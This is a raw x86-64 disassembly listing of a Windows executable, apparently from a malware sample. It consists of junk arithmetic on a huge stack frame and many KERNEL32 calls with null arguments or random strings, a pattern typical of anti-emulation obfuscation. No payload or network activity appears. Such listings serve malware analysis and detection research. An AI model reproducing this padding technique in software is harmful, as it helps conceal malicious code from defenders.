mov dword [rsp + 0x6528], eax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc390]
mov qword [rsp + 0xc8b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc8b0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa8d0], rax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fd4]
or eax, ecx
mov rcx, qword [rsp + 0xc7f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb90], ax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov qword [rsp + 0xc8b8], rax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38f]
sub eax, ecx
mov rcx, qword [rsp + 0xc610]
mov byte [rcx], al
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xc598]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x642c], eax
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x6494]
mov qword [rsp + 0xc8c0], rax
mov rax, qword [rsp + 0xc658]
mov rcx, qword [0x1401c8ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc780], rax
lea rcx, str.T0ldSI
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x203c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62bc], eax
movzx eax, word [rsp + 0x1404]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, reloc.COMCTL32.dll_LBItemFromPt
mov rcx, qword [rsp + 0xc370]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x652c], eax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xc898]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x1401c8aa0]
mov qword [rcx], rax
lea rax, [0x1401c8a20]
mov qword [rsp + 0xc8c8], rax
movzx eax, byte [rsp + 0x381]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6434], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movsx eax, word [rsp + 0x2024]
movsx ecx, word [rsp + 0x196c]
sub eax, ecx
mov word [rsp + 0x1bf8], ax
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9cc], ax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xc548]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc658]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc610]
movzx eax, byte [rax]
mov byte [rsp + 0x390], al
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6530], eax
mov rax, qword [rsp + 0xc6f0]
mov rcx, qword [rsp + 0xc8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx ecx, word [rsp + 0x1fa4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2038], ax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x2000]
mov word [rsp + 0x2040], ax
movzx eax, word [rsp + 0xcb4]
mov word [0x1401c8af4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc878]
mov qword [rsp + 0xc8d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc8d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc8b8], rax
mov rax, qword [rsp + 0xc420]
mov rcx, qword [rsp + 0xc878]
mov qword [rsp + 0xc8d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc8d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9790], rax
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x647c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xc540]
mov rcx, qword [0x1401c7030]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xfa0]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov qword [rsp + 0xc8e0], rax
mov r9d, 0x20d
xor r8d, r8d
lea rdx, [rsp + 0xc398]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x628c], eax
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x6448]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62e8], eax
lea rcx, [rsp + 0x1d480]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rax, [rsp + 0x38c]
mov qword [rsp + 0xc8e8], rax
mov rax, qword [rsp + 0xc848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a24], eax
movzx eax, byte [rsp + 0x2d8]
imul eax, eax, 0x12
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
mov edx, 0x25b7
mov rcx, qword [rsp + 0xc7d8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x652c], eax
movsx eax, word [rsp + 0x2024]
movsx ecx, word [rsp + 0x1fc8]
sub eax, ecx
mov word [0x1401c8ab8], ax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r9d, 2
lea r8, [rsp + 0xc600]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6534], eax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x858], ax
movzx eax, word [rsp + 0x200c]
movzx ecx, word [rsp + 0x9c0]
shl eax, cl
mov word [rsp + 0x1fd0], ax
mov rax, qword [rsp + 0xc580]
mov qword [rsp + 0xc8f0], rax
mov eax, dword [0x1401c8a18]
movzx ecx, al
mov eax, dword [rsp + 0x5a3c]
shr eax, cl
mov dword [rsp + 0x63c4], eax
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [rsp + 0xc730]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7a0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64ec], eax
lea rax, [rsp + 0x21f]
mov qword [rsp + 0xc8f8], rax
movsx eax, word [rsp + 0x1928]
movsx ecx, word [rsp + 0x1e54]
sub eax, ecx
mov word [rsp + 0x1f1c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea rax, [rsp + 0x1f20]
mov qword [rsp + 0xc900], rax
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc420]
and rcx, rax
mov rax, rcx
mov qword [0x1401c8a30], rax
lea rcx, [rsp + 0x1d4a8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0x2008]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1f70], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [rsp + 0xc908], rax
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9790]
shl rax, cl
mov qword [rsp + 0xc608], rax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64e0], eax
mov rax, qword [rsp + 0xc430]
mov ecx, dword [rsp + 0x64f0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5e5c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62e8], eax
lea rax, [rsp + 0xc808]
mov qword [rsp + 0xc910], rax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
mov byte [rsp + 0x36b], al
mov r9d, 0x84f
xor r8d, r8d
lea rdx, [rsp + 0xc640]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6538], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xc6a8]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5f08], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x653c], eax
movzx ecx, word [rsp + 0x1ff0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f10], ax
mov rax, qword [rsp + 0xc8e8]
movsx eax, byte [rax]
imul eax, eax, 0x39
mov byte [rsp + 0xa9], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc1c0]
movzx eax, word [rax]
mov word [0x1401c8af8], ax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12c8]
add eax, ecx
mov word [rsp + 0x2034], ax
movzx eax, word [rsp + 0xfc8]
mov word [rsp + 0x2044], ax
movzx eax, word [rsp + 0x1f8c]
movzx ecx, word [rsp + 0xfdc]
add eax, ecx
mov word [rsp + 0x9cc], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc820]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb460], rax
movzx ecx, word [rsp + 0x1fc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ffc], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc918], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0xc400]
mov rcx, qword [rsp + 0xc3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5d98], eax
movzx ecx, word [rsp + 0x2020]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f58], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc920], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x634c], eax
mov rax, qword [rsp + 0xc8e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc668]
mov byte [rcx], al
movzx eax, word [rsp + 0x1f68]
mov word [rsp + 0x2048], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
movzx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x200c], ax
mov rax, qword [0x1401c8aa8]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7078], rax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov qword [rsp + 0xc928], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64f4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc930], rax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc540]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc868], rax
mov rax, qword [rsp + 0x9790]
mov rcx, qword [0x1401c8a78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4b0], rax
mov r9d, 0xda4
xor r8d, r8d
lea rdx, [rsp + 0xc890]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x627c], eax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fd4]
xor eax, ecx
mov word [rsp + 0x1ce4], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5520]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5aac], eax
movzx eax, byte [rsp + 0x253]
mov byte [rsp + 0x391], al
lea rcx, str.PtOyfL5RuuVN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x204c], ax
mov edx, 0x1421
mov rcx, qword [rsp + 0xc870]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6304], eax
mov rcx, qword [rsp + 0xc768]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 0x8a0
mov rcx, qword [rsp + 0xc920]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6540], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6458], eax
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xc938], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc938]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc8c0]
mov qword [rsp + 0xc940], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc940]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x59b4], eax
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
mov byte [0x1401c8a17], al
movsx eax, word [rsp + 0x2014]
movsx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc768]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6404], eax
movsx eax, word [rsp + 0x146c]
movsx ecx, word [rsp + 0x137c]
sub eax, ecx
mov word [rsp + 0x1f68], ax
lea rax, [rsp + 0xfdc]
mov qword [rsp + 0xc948], rax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb0d8], rax
mov eax, dword [0x1401c8a18]
mov dword [rsp + 0x6544], eax
lea rcx, [rsp + 0x1feb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xc4c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xc4a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc008], rax
movsx eax, byte [rsp + 0xa9]
movsx ecx, byte [rsp + 0x255]
sub eax, ecx
mov byte [rsp + 0x380], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6548], eax
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x19d0], ax
movzx eax, word [rsp + 0x2010]
movzx ecx, word [rsp + 0x1164]
shl eax, cl
mov word [0x1401c8a58], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rdx, [rsp + 0x261e8]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64b0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [0x1401c7010]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc540]
mov qword [rcx], rax
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x2050], ax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x26d], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x654c], eax
mov eax, dword [rsp + 0x5728]
mov ecx, dword [0x1401c8a20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x64f8], eax
mov rcx, qword [rsp + 0xc870]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc488]
mov qword [rsp + 0xc950], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movsx eax, byte [rsp + 0x37e]
movsx ecx, byte [rsp + 0x38b]
sub eax, ecx
mov byte [rsp + 0x380], al
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64a8], eax
mov eax, dword [rsp + 0x59f8]
mov ecx, dword [rsp + 0x5d98]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e80], eax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x92c]
shl eax, cl
mov word [0x1401c8a70], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.aF54bxuH8SusBwLqubwwEUqkYk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc958], rax
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f04], ax
lea rdx, [rsp + 0x26220]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x647c], eax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc700]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [rsp + 0xc960], rax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc968], rax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [0x1401c8ae0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1238], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
movzx ecx, word [rsp + 0x1f34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f6c], ax
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x114c]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xc658]
mov rcx, qword [section..data]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbeb8], rax
movzx eax, byte [rsp + 0x2c3]
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0xc6f0]
mov rcx, qword [rsp + 0xc400]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64c0], eax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc960]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3a0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x642c], eax
xor r9d, r9d
lea r8, [rsp + 0xc600]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6550], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6510], eax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401c7080], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov word [rsp + 0x2054], ax
movzx eax, byte [rsp + 0x389]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x381], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ec4], eax
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x642c], eax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3a0]
mov qword [rsp + 0xc970], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc970]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xc878]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0xa9]
movsx ecx, byte [rsp + 0x385]
sub eax, ecx
mov byte [rsp + 0x38f], al
mov eax, dword [rsp + 0x59b4]
mov dword [rsp + 0x6554], eax
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64bc], eax
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc830]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc910]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6558], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19d0]
shl eax, cl
mov word [rsp + 0x1808], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19ac]
sar eax, cl
mov word [0x1401c8af0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc650], rax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6404], eax
lea rcx, str.ZcsU_Fg
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2058], ax
mov r9d, 1
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6468], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc978], rax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [0x1401c7068]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9790], rax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6504], eax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
sub eax, ecx
mov word [rsp + 0x1f44], ax
movzx eax, word [rsp + 0x1808]
mov word [rsp + 0x205c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
